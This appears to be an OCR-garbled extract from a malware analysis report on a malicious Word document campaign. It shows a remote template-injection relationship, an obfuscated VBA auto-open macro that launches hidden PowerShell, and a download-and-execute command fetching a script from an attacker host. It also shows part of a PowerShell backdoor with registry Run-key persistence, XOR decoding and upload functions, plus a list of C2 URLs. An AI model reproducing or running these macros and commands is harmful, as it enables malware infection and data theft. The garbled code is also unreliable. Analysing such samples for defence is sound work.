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<?xml version="1.0" encoding="UTF-8" standalone="yes" 7>
- <Relationships xmins="http:/ fschemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="http:/ /tbear.mypressonline.comfofficeDocument/2006/relationships /BIO.dotm" TargetMode="External” />
</Relationships>
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Private Sub Document_Open()
eifhhdfasfiedf
End Sub

Function eifhhdfasfiedf ()

Set djfeihfidkasljf = CreateObject("Shell.Application")

Dim dfgdfjiejfjdshaj As String

fjdjkasf = "tlsiajdsladkf"

fjdjkasf = Left(fjdjkasf, 5)

dfgdfjiejfjdshaj =
"tlsiaptlsiaotlsiawtlsiaetlsiartlsiastlsiahtlsiaetlsialtlsialtlsia.tlsiaetlsiaxtlsiaetlsia"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")

hdfksallasjkdlaf =
"tlsia[tlsiastlsiattlsiartlsiaitlsiantlsiagtlsia]tlsia$tlsiaatlsia=tlsia{tlsia(tlsiaNtlsiaetl
tlsiaOtlsiabtlsiajtlsiaetlsiactlsiattlsia "

hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")

ndkflajdkfjskdjfl =
"tlsiaNtlsiaetlsiattlsia.tlsiaWtlsiaetlsiabtlsiaCtlsialtlsjaitlsiaetlsiantlsiattlsia)tlsia.tl

ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")
salfnxkfdlsjafkj = "
('htlsiattlsiattlsiaptlsia:tlsia/tlsia/tlsjiattlsiabtlsiaetlsiaatlsiartlsia.tlsiamtlsiaytlsiap

salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")
sjdfkjaslalsfial =
"tlsia}tlsia;tlsia$tlsiabtlsia=tlsia$tlsiaatlsia.tlsiaitlsiantlsiastlsiaetlsiartlsiattlsia(tl

sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")
aksfkjaskjfksnkf =
"tlsiatlsiawtlsiantlsialtlsiaotlsiaatlsiadtlsiastlsiattlsiartlsiaitlsia'tlsia)tlsia;tlsia$tls

aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")

sdfewjdhsajkfhjdf = "etlsiaxtlsia tlsia$tlsiabtlsia;tlsiaitlsiaetlsiaxtlsia
tlsia$tlsiactlsia"

sdfewjdhsajkfhjdf = Replace(sdfewjdhsajkfhjdf, fjdjkasf, "")
skdjfksjkfjkdsfj = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj +
sjdfkjaslalsfial + aksfkjaskjfksnkf + sdfewjdhsajkfhjdf

djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, skdjfksjkfjkdsfj, "", "open", 0
End Function
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“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” [string]$a={(New-Object
Net.WebClient).Dong(‘hxxp://tbear.mypressonline.com/ci/mo.txt’)};$b=%a.insert(29, wnloadstri’);$c=iex
$b:iex $c
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& C @ F2 2% | thearmypressonline.com/ci/mo.ta u
SUPURI = “post.phe”

SupHane = ‘w0’

$Local D = "mo”

§LOG_FILEWAME = “Ahnlab.hwp”

$LOG_FILEPATH = “#ihn| ab¥"

STIME_YALLE = 100046030

$PegValuehane = “4lzipupdate”

$PFegkey = "HKCU:WSOFTYARERMi crosof t¥¥indows®CurrentYersionfFun”

SSERVERLACOA = “http://thear. nypresson| ine.con/el/”

freaValue = "ond.exe / ¢ powershell.exe -vindowstyle hidden IEX (New=0bject Systen.Net.VebClient) .DownloadString( http://tbear. nypresson!ine.con/cl/mo.txt’)"
function decode(Jencstr)

i

Skey = [byte(]]
(0,2,4,3,3,6,4,5,7,6,7.0,554,3,54,3,7,0,7.6,2,6,2,4,6,7.2,4,7,5,5,7.0,7,3,3,3,7,3,9,1,4,2,3,7.0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7.5,0,1,
0,3,0,31,3,51,2501,71,4,602334,252545773,1.0,1,6421,1,2,1,4,1,54,2,745,1,6,4,63,64,5,0,36401,635570,517712521774155,.0,5
B)

$len = $encstr.Lensth

§i=0

§i=0

foowletter =

while(§i -1t §len)

i

§i =8 %160

$asciidec = Sencstr[$i] -bxor Ykey($i]
§dec = [charlfasciidec
foomlettar += §dac
§j+e
§ies
}

return §conletter

}
function UpLoadFunc($logpath)
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[E-3] =7} &01= dotm C}22 = URL

hxxp://stair.myartsonline.com/ya/ng.txt
hxxp://lovels.myartsonline.com/ys/ha.txt
hxxp://lovel.myartsonline.com/le/ej.txt
hxxp://visul.myartsonline.com/yk/yo.txt
hxxp://lvbqwer.mypressonline.com/test.log
hxxp://tbear.mypressonline.com/test.txt
hxxp://obser.mygamesonline.org/nw.txt
hxxp://modri.myartsonline.com/gu/nw.txt
hxxp://warcr.onlinewebshop.net/le/eh.txt
hxxp://stair.atwebpages.com/ne/la.txt
hxxp://giruz.atwebpages.com/sw/cu.txt
hxxp://benze.atwebpages.com/ki/mc.txt
hxxp://likel.atwebpages.com/bu/ma.txt
hxxp://rster.atwebpages.com/an/ce.txt
hxxp://mantc.getenjoyment.net/ya/ng.txt
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